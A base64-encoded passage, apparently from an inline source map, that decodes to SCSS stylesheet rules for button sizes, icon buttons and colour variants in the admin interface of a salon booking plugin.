ZXIge1xuXHRAaW5jbHVkZSBwcm9ncmVzcy1iYXItdmFyaWFudCgkcHJvZ3Jlc3MtYmFyLWRhbmdlci1iZyk7XG59XG4iLCJAdXNlICcuLi9hZG1pbl9jb25maWcnO1xuQHVzZSAnLi4vY29sb3JzLW51JztcblxuQHVzZSAnLi4vc2V0dGluZ3MtbWl4aW5zJztcbkB1c2UgJy4uL3R5cG8tYWRtaW4nO1xuXG5AdXNlIFwic2Fzczpjb2xvclwiO1xuXG4uc2xuLWJ0bixcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuIHtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xuICBib3JkZXI6IG5vbmU7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIGJvcmRlci1yYWRpdXM6IDVweDtcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgLy9AaW5jbHVkZSB0cmFuc2l0aW9uKGJhY2tncm91bmQtY29sb3IgMjAwbXMsIGNvbG9yIDMwMG1zLCBvcGFjaXR5IDI1MG1zKTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYWxsIDI1MG1zKTtcbiAgQGV4dGVuZCAlemktbmF2aWdhemlvbmU7XG4gICYuc2xuLWJ0bi0tYmlnZ2VyIHtcbiAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gIH1cbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgd2lkdGg6IDEwMCU7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIHRvcDogMDtcbiAgICByaWdodDogMDtcbiAgICBib3R0b206IDA7XG4gICAgbGVmdDogMDtcbiAgICBtYXJnaW46IDA7XG4gICAgei1pbmRleDogMTAwO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oXG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yIDIwMG1zLFxuICAgICAgY29sb3IgMzAwbXMsXG4gICAgICBvcGFjaXR5IDI1MG1zXG4gICAgKTtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgdGV4dC1zaGFkb3c6IG5vbmU7XG4gICAgb3V0bGluZTogbm9uZTtcbiAgfVxufVxuLy8gU0laRVNcbi5zbG4tYnRuLS1mdWxsd2lkdGgge1xuICB3aWR0aDogMTAwJTtcbn1cbi5zbG4tYnRuLS1tZWdhLFxuLnNsbi1idG4tLW1lZ2EgaW5wdXQsXG4uc2xuLWJ0bi0tbWVnYSBidXR0b24ge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sgIWltcG9ydGFudDtcbiAgd2lkdGg6IDEwMCU7XG4gIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDkwcHgpO1xuICBtYXgtd2lkdGg6IDM3NXB4O1xuICBtaW4td2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMzIwcHgpO1xuICBAZXh0ZW5kICVmb250LWJpZ2dlcjtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oOTBweCk7XG4gIGJveC1zaGFkb3c6IG5vbmU7XG4gIG91dGxpbmU6IG5vbmU7XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgLy9oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTZweCk7XG4gICAgLy9saW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1NnB4KTtcbiAgICBtaW4td2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMjQwcHgpO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcbiAgfVxuICAmLnNsbi1idG4tLWJsb2NrIHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgfVxufVxuLnNsbi1idG4tLWJpZ2dlcixcbi5zbG4tYnRuLS1iaWdnZXIgaW5wdXQsXG4uc2xuLWJ0bi0tYmlnZ2VyIGJ1dHRvbiB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jayAhaW1wb3J0YW50O1xuICB3aWR0aDogYXV0bztcbiAgcGFkZGluZzogMS4yNXJlbTtcbiAgLy9oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTBweCk7XG4gIG1pbi13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNDBweCk7XG4gIEBleHRlbmQgJWZvbnQtYmlnO1xuICBsaW5lLWhlaWdodDogMS40O1xuICBib3gtc2hhZG93OiBub25lO1xuICBvdXRsaW5lOiBub25lO1xuICAmLnNsbi1idG4tLWZ1bGx3aWR0aCB7XG4gICAgd2lkdGg6IDEwMCU7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgLy9mb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICBwYWRkaW5nOiAxcmVtIDEuMjVyZW07XG4gICAgJi5zbG4tYnRuLS10ZXh0b25seSB7XG4gICAgICBtaW4td2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMTIwcHgpO1xuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLWJsb2NrIHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgfVxufVxuLnNsbi1idG4tLWJpZyxcbi5zbG4tYnRuLS1iaWcgaW5wdXQsXG4uc2xuLWJ0bi0tYmlnIGJ1dHRvbiB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jayAhaW1wb3J0YW50O1xuICB3aWR0aDogYXV0bztcbiAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1MHB4KTtcbiAgbWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0MHB4KTtcbiAgQGV4dGVuZCAlZm9udC1iaWc7XG4gIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDUwcHgpO1xuICBib3gtc2hhZG93OiBub25lO1xuICBvdXRsaW5lOiBub25lO1xuICAmLnNsbi1idG4tLWZ1bGx3aWR0aCB7XG4gICAgd2lkdGg6IDEwMCU7XG4gIH1cbiAgJi5zbG4tdXBkYXRlLXNldHRpbmdzLFxuICAmLnNsbi1yZXNldC1zZXR0aW5ncyB7XG4gICAgaGVpZ2h0OiAzLjVyZW07XG4gIH1cbiAgJi5zbG4tcmVzZXQtc2V0dGluZ3Mge1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gIH1cbiAgJi5zbG4tdXBkYXRlLXNldHRpbmdzIHtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAvL2ZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1NnB4KTtcbiAgICAvL2xpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU2cHgpO1xuICAgIC8vbWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0MHB4KTtcbiAgICAvL2ZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcbiAgICAmLnNsbi1idG4tLXRleHRvbmx5IHtcbiAgICAgIG1pbi13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMjBweCk7XG4gICAgfVxuICB9XG4gICYuc2xuLWJ0bi0tYmxvY2sge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG59XG4uc2xuLWJ0bi0tYmlnMjUsXG4uc2xuLWJ0bi0tYmlnMjUgaW5wdXQsXG4uc2xuLWJ0bi0tYmlnMjUgYnV0dG9uIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrICFpbXBvcnRhbnQ7XG4gIHdpZHRoOiBhdXRvO1xuICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gIGhlaWdodDogMy4yNXJlbTtcbiAgbWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0MHB4KTtcbiAgQGluY2x1ZGUgdHlwby1hZG1pbi5mb250LW1lZGl1bTtcbiAgLy9saW5lLWhlaWdodDogMy4yNXJlbTtcbiAgYm94LXNoYWRvdzogbm9uZTtcbiAgb3V0bGluZTogbm9uZTtcbiAgJi5zbG4tYnRuLS1mdWxsd2lkdGgge1xuICAgIHdpZHRoOiAxMDAlO1xuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICBoZWlnaHQ6IDMuMjVyZW07XG4gICAgQGluY2x1ZGUgdHlwby1hZG1pbi5mb250LWJpZztcbiAgfVxufVxuLnNsbi1idG4tLWxhcmdlLFxuLnNsbi1idG4tLWxhcmdlIGlucHV0LFxuLnNsbi1idG4tLWxhcmdlIGJ1dHRvbiB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgbWluLXdpZHRoOiAxMjBweDtcbiAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY2cHgpO1xuICBAZXh0ZW5kICVmb250LWJpZztcbiAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuICAmLnNsbi1idG4tLWJsb2NrIHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIG1pbi13aWR0aDogOTBweDtcbiAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDRweCk7XG4gICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDRweCk7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgpO1xuICB9XG59XG4uc2xuLWJ0bi0tbWVkaXVtLFxuLnNsbi1idG4tLW1lZGl1bSBpbnB1dCxcbi5zbG4tYnRuLS1tZWRpdW0gYnV0dG9uIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBtaW4td2lkdGg6IDkwcHg7XG4gIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NHB4KTtcbiAgQGV4dGVuZCAlZm9udC1tZWRpdW07XG4gIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ0cHgpO1xuICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG4gICYuc2xuLWJ0bi0tYmxvY2sge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG59XG4uc2xuLWJ0bi0tc21hbGwge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgQGV4dGVuZCAlZm9udC1tZWRpdW07XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gIHBhZGRpbmc6IDAgMTBweDtcbiAgJi5zbG4tYnRuLS1pY29uIHtcbiAgICB3aWR0aDogMS44cmVtO1xuICAgIGhlaWdodDogMS44cmVtO1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5iLXJhZGl1cyg1MCUpO1xuICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgZm9udC1zaXplOiAwcHg7XG4gICAgbGluZS1oZWlnaHQ6IDA7XG4gICAgJjphZnRlciB7XG4gICAgICBsZWZ0OiAwO1xuICAgICAgdG9wOiAwO1xuICAgICAgZm9udC1zaXplOiAxLjhyZW07XG4gICAgICBsaW5lLWhlaWdodDogMS44cmVtO1xuICAgIH1cbiAgfVxufVxuLnNsbi1idG4tLXNtYWxsLS1yb3VuZCxcbi5zbG4tYnRuLS1zbWFsbC0tcm91bmQuc2xuLWJ0biB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICBAZXh0ZW5kICVmb250LW1lZGl1bTtcbiAgZm9udC1zaXplOiAxNHB4O1xuICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgcGFkZGluZzogMCAxMHB4O1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYi1yYWRpdXMoNTAlKTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYWxsIDI1MG1zKTtcbiAgJi5zbG4tYnRuLS1pY29uLS1vbGQge1xuICAgIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KTtcbiAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICY6YWZ0ZXIge1xuICAgICAgd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICBsZWZ0OiAwO1xuICAgICAgdG9wOiAwO1xuICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI2cHgpO1xuICAgIH1cbiAgICAmOmhvdmVyOmFmdGVyLFxuICAgICY6Zm9jdXM6YWZ0ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLWljb24ge1xuICAgIHdpZHRoOiA0MHB4O1xuICAgIGhlaWdodDogNDBweDtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KTtcbiAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICY6YWZ0ZXIge1xuICAgICAgd2lkdGg6IDQwcHg7XG4gICAgICBoZWlnaHQ6IDQwcHg7XG4gICAgICBsaW5lLWhlaWdodDogNDBweDtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICBsZWZ0OiAwO1xuICAgICAgdG9wOiAwO1xuICAgICAgZm9udC1zaXplOiAxOHB4O1xuICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgfVxuICAgICY6aG92ZXI6YWZ0ZXIsXG4gICAgJjpmb2N1czphZnRlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgfVxuICAgICYuc2xuLWJ0bi0taWNvbi0tbm9ia2cge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLWljb24tLWhlbHBjaGF0IHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgYm9yZGVyOiAxcHggc29saWQgIzY2YmI2YTtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICB3aWR0aDogMzdweDtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDM2cHg7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBjb2xvcjogIzY2YmI2YTtcbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4taWNvbi0tYXBwcm92ZSB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW9rKDEpO1xuICAgICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodGVyKDEpO1xuICAgICAgICBmb250LXNpemU6IDEuNHJlbTtcbiAgICAgIH1cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tb2soMC44KTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4taWNvbi0tZGVueSB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW5vdG9rKDEpO1xuICAgICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodGVyKDEpO1xuICAgICAgICBmb250LXNpemU6IDEuNHJlbTtcbiAgICAgIH1cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbm90b2soMC44KTtcbiAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4xKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cblxuLnNsbi1idG4tLWJhbm5lcl9fY3RhIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrICFpbXBvcnRhbnQ7XG4gIHdpZHRoOiAxMDAlO1xuICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3MnB4KTtcbiAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNzJweCk7XG4gIG1heC13aWR0aDogMzc1cHg7XG4gIG1pbi13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMjBweCk7XG4gIEBleHRlbmQgJWZvbnQtYmlnZ2VyO1xuICBmb250LXdlaWdodDogNjAwO1xuICBib3gtc2hhZG93OiBub25lO1xuICBvdXRsaW5lOiBub25lO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg5MHB4KTtcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg5MHB4KTtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1NnB4KTtcbiAgICAvL2xpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU2cHgpO1xuICAgIG1pbi13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNDBweCk7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICB9XG4gICYuc2xuLWJ0bi0tYmxvY2sge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG59XG4vLyBDT0xPUlNcbiNzbG4tc2Fsb24tLWFkbWluIHtcbiAgLnNsbi1idG4tLW1haW4sXG4gIC5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1tYWluIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgICAmOmhvdmVyLFxuICAgICY6Zm9jdXMge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAuYnRuLFxuICAgICAgaW5wdXQsXG4gICAgICBidXR0b24ge1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgJjpob3ZlcixcbiAgICAgICAgJjpmb2N1cyB7XG4gICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tYnRuLS1zbWFsbC5zbG4tYnRuLS1pY29uIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgfVxuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tYnRuLS1tYWluLS10b25hbCxcbiAgLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLW1haW4tLXRvbmFsIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4yKTtcbiAgICAvL2JhY2tncm91bmQtY29sb3I6IHNsbi1udWNvbG9yLS1tYWluLS1saWdodCgxKTtcbiAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDEpO1xuICAgIGJvcmRlci1zdHlsZTogc29saWQ7XG4gICAgYm9yZGVyLXdpZHRoOiAxcHggMnB4IDJweCAxcHg7XG4gICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICB9XG4gICAgJjpob3ZlcixcbiAgICAmOmZvY3VzIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjIpO1xuICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICAgICAgLmJ0bixcbiAgICAgIGlucHV0LFxuICAgICAgYnV0dG9uIHtcbiAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICAgICAgJjpob3ZlcixcbiAgICAgICAgJjpmb2N1cyB7XG4gICAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1idG4tLXNtYWxsLnNsbi1idG4tLWljb24ge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICB9XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1tYWluMjUsXG4uc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tbWFpbjI1IHtcbiAgYm9yZGVyLXJhZGl1czogNnB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICB9XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbi0tZDE7XG5cdCAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICB9XG59XG4uc2xuLWJ0bi0tbWFpbm1lZGl1bSxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1tYWlubWVkaXVtIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKFxuICAgIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXMsXG4gICAgMC44NVxuICApO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbn1cbi5zbG4tYnRuLS1saWdodCxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1saWdodCB7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIH1cbiAgJjpob3ZlcixcbiAgJjpmb2N1cyB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tY